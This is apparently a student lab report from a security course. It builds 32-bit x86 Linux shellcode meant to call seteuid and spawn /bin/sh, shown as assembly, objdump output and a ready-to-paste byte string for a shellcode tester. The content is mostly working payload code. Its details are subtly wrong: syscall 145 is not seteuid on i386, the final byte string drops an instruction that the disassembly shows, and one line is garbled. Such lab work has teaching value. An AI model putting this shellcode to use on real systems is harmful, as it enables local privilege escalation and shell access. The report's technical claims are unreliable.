Report for Question 2

By 2018201103

- **Writing assembly code for seteuid**

  We need the syscall number of the function to write assembly code. According to the file unistd.h the syscall number is 145 and first argument should be -1 and second argument should be 0.

  To call a syscall in assembly:
  Eax should store the syscall number
  Ebx should store the first argument
  Ecx should store the second argument
  And so on

  We need to make sure that no 00s or 11ss should be there in shellcode.
  For that
  - 0 is written using xor in ecx
  - only al is written instead of eax,
  - 0 is pushed and the top of stack is popped and decremented by 1 for ebx

```
movb $145,%al
xorl %ecx,%ecx
pushl %ecx
movl %esp,%ebx
decl %ebx
int $0x80
```

- **Getting the shellcode**
  Use this written code and code for shell to form seteuid.s
  Compile using gcc -s seteuid.s -o set
  Now use objdump on set to get the shellcode

```
80483ed:   b0 91                    mov    $0x91,%al
 80483ef:   31 c9                    xor    %ecx,%ecx
 80483f1:   51                       push   %ecx
 80483f2:   89 e3                    mov    %esp,%ebx
 80483f4:   4b                       dec    %ebx
 80483f5:   cd 80                    int    $0x80
 80483f7:   31 c0                    xor    %eax,%eax
 80483f9:   50                       push   %eax
 80483fa:   68 2f 2f 73 68           push   $0x68732f2f
```

```
80483ff:   68 2f 62 69 6e          push   $0x6e69622f
8048404:   89 e3                   mov    %esp,%ebx
8048406:   50                      push   %eax
8048407:   53                      push   %ebx
8048408:   89 e1                   mov    %esp,%ecx
804840a:   99                      cltd
804840b:   b0 0b                   mov    $0xb,%al
804840d:   cd 80                   int    $0x80
```

- **Using this shellcode in shellcodetester.c**

  char *shellcode =
  "\xb0\x91\x31\xc9\x51\x89\xe3\x4b\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
  \x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

- **Output**